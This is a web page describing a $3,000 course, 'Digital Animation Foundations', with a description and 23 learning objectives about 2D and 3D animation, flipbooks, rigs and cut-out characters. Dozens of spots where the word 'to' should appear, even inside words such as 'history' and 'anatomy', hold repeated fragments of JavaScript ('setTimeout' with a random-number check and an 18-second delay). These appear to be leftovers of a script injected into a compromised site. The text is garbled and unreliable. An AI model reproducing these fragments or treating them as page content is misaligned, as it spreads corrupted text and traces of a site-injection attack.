Digital Animation Foundations

$3,000.00

Course Description: This course aims dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to introduce students dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the hisdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, principles and techniques of animation
through 2D and 3D animation techniques. Students will explore basic exercises that will cover
the key theories for the principles of animation. From these exercises students will be required
dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to develop both 2D and 3D animations. Emphasis will be placed on the art of creating
convincing movement through the principles of animation. Students will be able dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to view and
discuss animation that is currently used in television, film, interactive media and the Internet. In
addition, they will complete several individual animation exercises, as well as work on a group
project.

Course Objectives:
On completing this course, students should be able dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to demonstrate …
1. demonstrate a thorough understanding of the foundations of traditional animation
2. create drawings that represent the different types of motion
3. analyze motion in real life
4. critique 2D and 3D productions
5. explain persistence of vision as it relates dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to flipbooks
6. simulate motion using flipbooks
7. create models
8. conceive a 2D animation using flipbooks
9. conceive a 3D animation using models
10. appreciate the hisdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of developing animations
11. effectively construct a concise sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory through animation
12. appreciate the importance of animation
13. value the principles of animation
14. classify each principle of animation when in use in a production

15. construct animations using basic drawing and modeling techniques
16. analyze motion and animated productions
17. use various animation software
18. analyze the anadom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomy (bi-ped) and apply that knowledge dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to creating characters and making
them move
19. compose a 2D or 3D animation using various animation software
20. produce cut-out animation
21. generate a cut-out character from model sheet dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to character animation
22. utilize a character rig dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create animations
23. organize a cut-out character using appropriate pivot points and body part relationships

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